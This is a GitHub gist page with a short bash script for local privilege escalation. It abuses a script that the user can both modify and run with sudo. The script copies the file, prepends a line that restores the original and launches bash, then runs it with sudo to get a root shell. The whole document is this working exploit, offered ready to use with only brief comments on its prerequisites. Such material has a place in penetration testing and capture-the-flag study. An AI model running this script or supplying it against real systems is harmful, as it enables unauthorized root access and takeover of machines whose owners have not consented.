Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Root access to shell having script with sudo privileges and ability to modify it
#!/usr/bin/env bash
# This simple script allows you to achieve root shell when you already have access to script
# prerequisites:
# 1. access to write the script
# 2. able to run the scripts sudo as root
ELEVATED_BINARY="$1"
TMPFILE=$( mktemp )
ORIGFILE=$( mktemp )
cp "${ELEVATED_BINARY}" "$ORIGFILE"
cat "${ELEVATED_BINARY}" | sed -e "s,^,mv $ORIGFILE ${ELEVATED_BINARY} ;bash; exit 0;," > "$TMPFILE"
cp "$TMPFILE" "${ELEVATED_BINARY}"
rm "$TMPFILE"
sudo "${ELEVATED_BINARY}"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.